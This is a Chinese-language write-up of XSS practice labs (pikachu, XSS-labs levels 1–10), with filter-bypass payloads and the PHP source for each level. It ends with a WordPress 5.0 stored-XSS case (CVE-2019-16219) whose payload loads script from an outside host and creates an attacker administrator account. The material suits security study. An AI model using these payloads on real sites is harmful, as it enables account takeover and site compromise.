XSS靶场练题记录 XSS简介 XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS(Cascading Style Sheet)层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,在2013年和2017年的OWASP Top 10分别位于第三名和第七名。
跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页(input表单、URL、留言版等位置),其他用户在浏览网页时会受到影响,恶意用户利用xss代码攻击成功后,当用户或管理员浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击的目的。
XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数
XSS原理 服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击 目的
XSS属于客户端攻击,受害者最终是用户,但网站的相关管理人员也属于用户之一,这就意味着XSS也可能攻击到“服务端”,因为管理员的账号权限比普通用户的账号权限要大的多,一般管理员都可以对网站进行文件管理、数据管理等操作,而攻击者一般也是考管理员的身份作为“跳板”而进行实施攻击
XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码语言是Javascript语言,但也可能会使用其他语言,例如:ActionScript、VBScript。但如今互联网客户端基本都是基于Javascript
XSS漏洞的危害 1.网络钓鱼,包括盗取各类用户账号 https://cloud.tencent.com/developer/article/1517803
2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等
4.特定条件下,可以网页挂马,进行恶意操作 https://blog.csdn.net/Monsterlz123/article/details/91127385
5.进行大量的客户端攻击,如DDoS攻击 https://blog.csdn.net/wsnbbz/article/details/104652337
XSS类型 XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS和DOM型XSS
反射型(非持久化) 反射型XSS又称为非持久型XSS,这种攻击方式往往具有一次性。攻击者通过电子邮件或者聊天工具等将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器就收目标的请求并进行处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器会解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。
注意!!!这里以pikachu漏洞练习平台为例
反射性XSS(get)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Payload: <script>alert('xss' )</script> 注意:要注意alert()括号里面的写法,如字母xss,要加引号或/或反引号,数字不用 刚把payload放进输入框,还没submit就发现payload被截短了,应该是html代码中的限制 由于此处为get传参,所以有两个方法来进行绕过1. 直接在地址栏插入Payload2. 使用开发者工具,修改html代码中的长度限制 执行流程: 在输入点输入内容,构造恶意代码,输入点是以 GET 方式提交的 后端接受提交的数据,并没有对输入进行过滤 然后将其呈现给前端,浏览器执行恶意代码
反射性XSS(post)
1 2 3 Payload: <script>alert('xss' )</script> <script>alert(document.cookie)</script>
存储型XSS(持久化) 存储型XSS又称为持久性XSS,攻击脚本将被永久的存放在目标服务器的数据库或文件中,既有很高的隐蔽性。这种攻击手法多见于论坛、博客和留言板;攻击者在发帖的过程中,将恶意脚本和正常的信息一起注入帖子的内容中。帖子被服务器存储下来,恶意脚本也就会被存放在服务器的后端数据库中,当其他的用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中解析并执行。
注意!!!这里以pikachu漏洞练习平台为例
存储型XSS
1 2 3 4 5 6 7 Payload: <script>alert(document.cookie)</script> 执行流程: 在留言板处输入内容,构造恶意代码 将输入的内容提交给后端代码执行,后端对输入过滤不严谨,然后执行插入的数据操作 此时,我们的恶意代码已经保存在数据库。不管何时何地何人查看这条留言,都会执行恶意代码,除非数据库中删除这条恶意代码(后面不管输入什么,结果都是一样的
DOM型XSS DOM简介
DOM全称Document Object Model,简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端
DOM型XSS漏洞简介
DOM型XSS执行场景跟之前两个不同,他是基于文档对象模型的漏洞,它可以动态的构造DOM节点。所以说,该漏洞是不经过后端代码的,直接构造恶意代码,即可在前端展示。用户请求一个专门设计的URL,它是由攻击者提交,而且其中包含XSS代码。服务器不会以任何的形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM型对象就会处理XSS代码
所以说DOM型XSS可以在前端通过js渲染来完成数据的交互,达到插入数据造成XSS脚本攻击,且不经过服务器,所以即使抓包无无法抓取到这里的流量,而反射性与存储型xss需要与服务器交互,这便是三者的区别
注意!!!这里以pikachu漏洞练习平台为例
1 2 3 4 5 Payload:'><img src="#" onmouseover="alert(' xss')"> ' onclick="alert('xss')" > onmouseover需要鼠标划过,onclick需要鼠标点击
XSS-labs靶场部分题目练习 Level1 查看网站源码,可以发现get传参name的值test插入了html里 ,还回显了payload的长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Payload: <script>alert ()</script> <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level2.php?keyword=test" ; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["name" ];echo "<h2 align=center>欢迎用户" .$str ."</h2>" ;?> <center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
Level2 1 2 3 4 5 6 7 8 尝试输入Payload: <script>alert ()</script> 没有成功,通过view-source查看源码 很明显,第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload Payload:"> <script>alert()</script> <"
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
“ (双引号)成为 “
‘ (单引号)成为 ‘
< (小于)成为 <
(大于)成为 >
提示: 要把特殊的 HTML 实体转换回字符,使用htmlspecialchars_decode()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level3.php?writing=wait" ; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> //此处传入的值被htmlspecialchars进行了html实体转化 <form action=level2.php method=GET> <input name=keyword value="' .$str .'"> <input type=submit name=submit value="搜索"/> </form> </center>' ;?> <center><img src=level2.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
Level3 1 2 3 4 5 6 7 8 9 10 尝试: 尝试输入123 ,然后观察源码,发现相较于上一关,这边存在的是单引号的闭合,尝试Payload'> <script>alert()</script> <' 未成功,观察源码可知,都被实体化了 针对这一情况可以采用onfocus事件来绕过 所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的 Payload:' onfocus=alert() ' 不推荐' οnclick=alert() ' 推荐
onfocus事件在元素获得焦点时触发,最常与 、 和 标签一起使用,以上面图片的html标签 为例, 标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level4.php?keyword=try harder!" ; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" ."<center> <form action=level3.php method=GET> <input name=keyword value='" .htmlspecialchars ($str )."'> <input type=submit name=submit value=搜索 /> </form> </center>" ;?> <center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
Level4 1 2 3 4 查看源码可知,这题和第三题基本一样,只不过这边是需要构造双引号进行闭合 Payload:' οnclick=alert() '
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level5.php?keyword=find a way out!" ; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace (">" ,"" ,$str ); $str3 =str_replace ("<" ,"" ,$str2 ); echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level4.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level4.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str3 )."</h3>" ;?> </body> </html>
Level5 1 2 3 4 5 6 7 8 9 10 11 继续按上一关的Payload尝试' οnclick=alert() ' 查看源码可以发现:on被替换成了o_n;<script被替换成了<scr_ipt 同时对输入的所有字母,都转化为小写 过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写 但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入, 这里我们用a href标签法"> <a href=javascript:alert()>xss</a> <" 输入后点击xss,触发a标签href属性即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level6.php?keyword=break it out!" ; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1><?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]); $str2 =str_replace ("<script" ,"<scr_ipt" ,$str ); $str3 =str_replace ("on" ,"o_n" ,$str2 ); echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level5.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level5.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str3 )."</h3>" ;?> </body> </html>
Level6 1 2 3 4 5 6 7 8 9 10 11 12 尝试输入相关的关键词,看看这题过滤了哪些内容 onfocus <script> <a href=javascript:alert ()> 发现on <script> href 都被过滤了 尝试看看能不能大小写绕过 OnFocus <sCriPt> <a hReF=javascript:alert ()> 发现不存在大小写的过滤 Payload:"> <sCript>alert()</sCript> <" " OnClick=javascript:alert() " "> <a hRef=javascript:alert()>xss</a> <"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level7.php?keyword=move up!" ; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level6.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level6.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str6 )."</h3>" ;?> </body> </html>
Level7 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 尝试输入相关的关键词,看看这题过滤了哪些内容 onfocus <script> <a href=javascript:alert ()> 里面进行了小写转化,将检测出来的on,script,href给置换为空了 这里可以采用双写来进行绕过 比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on 比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script Payload:"> <sCrsCriptipt>alert()</sCrsCriptipt> <" " OOnnClick=alert() " "> <a hRhRefef=javascrscriptipt:alert()>xss</a> <" "> <img srsrcc=" x" oonnerror=alert(1)> <" onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例, 这里因为src指向的是值x,而不是图片的地址和base64编码啥的,就会导致触发alert函数 当鼠标移出图片的时候执行的属性onmouseout 当鼠标移动到图片的时候执行的属性onmouseover 此外,这里还禁用了data,data禁用的原因是: 这里利用iframe标签,插入一个标签data:text/html;base64, 将后面的内容进行base64编码:PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+ 进行base64解码后是<script>alert ()</script> Payload:"> <iframe srsrcc=" dadatata:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level8.php?keyword=nice try!" ; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1><?php ini_set ("display_errors" , 0 );$str =strtolower ( $_GET ["keyword" ]);$str2 =str_replace ("script" ,"" ,$str );$str3 =str_replace ("on" ,"" ,$str2 );$str4 =str_replace ("src" ,"" ,$str3 );$str5 =str_replace ("data" ,"" ,$str4 );$str6 =str_replace ("href" ,"" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level7.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level7.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str6 )."</h3>" ;?> </body> </html>
Level8 1 2 3 4 5 6 7 8 9 10 尝试输入相关的关键词,看看这题过滤了哪些内容" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> 可知,添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、" (双引号) 但在这里我们可以利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议 将此进行Unicode编码 javascript:alert () 得到 Payload: &
Level9 1 2 3 4 5 6 7 8 9 尝试输入相关的关键词,看看这题过滤了哪些内容" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j 当传入的值没有http:// 就会执行if,输出不合法 所以我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗 让函数strpos返回一个数字,构造payload Payload: javascript:alert()/* http:// */
Level10 1 2 3 4 5 6 7 8 9 尝试输入相关的关键词,看看这题过滤了哪些内容" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j 查看源码可以发现,传入的参数都被实体化了 查看源码发现原来还有其他隐藏的传参方法 这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签 但是我们还能用onclick事件,因为这里输入框被隐藏了,需要添加type=" text",构造payload Payload: ?t_sort=" onclick=javascript:alert () type="text
XSS实战 CVE-2019-16219 WordPress5.0存储型XSS漏洞
1 2 测试Payload "><img src=1 onerror=alert(" xss")>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 攻击Payload "><img src=1 onerror=" javascript :(function ( ) { var url = 'http://aaa.bbb.ccc.ddd/wpaddadmin.js' ;if (typeof beef == 'undefined' ) { var bf = document .createElement ('script' ); bf.type = 'text/javascript' ; bf.src = url; document .body .appendChild (bf);}})();"> 恶意js // Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value var ajaxRequest = new XMLHttpRequest(); var requestURL = " /wp-admin/user-new .php "; var nonceRegex = /ser" value="([^" ]*?)"/g; ajaxRequest.open(" GET ", requestURL, false); ajaxRequest.send(); var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); var nonce = nonceMatch[1]; // Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator var params = " action=createuser&_wpnonce_create-user="+nonce+" &user_login=attacker&email=attacker@site.com &pass1=attacker&pass2=attacker&role=administrator"; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open(" POST ", requestURL, true); ajaxRequest.setRequestHeader(" Content -Type ", " application/x-www-form-urlencoded"); ajaxRequest.send(params);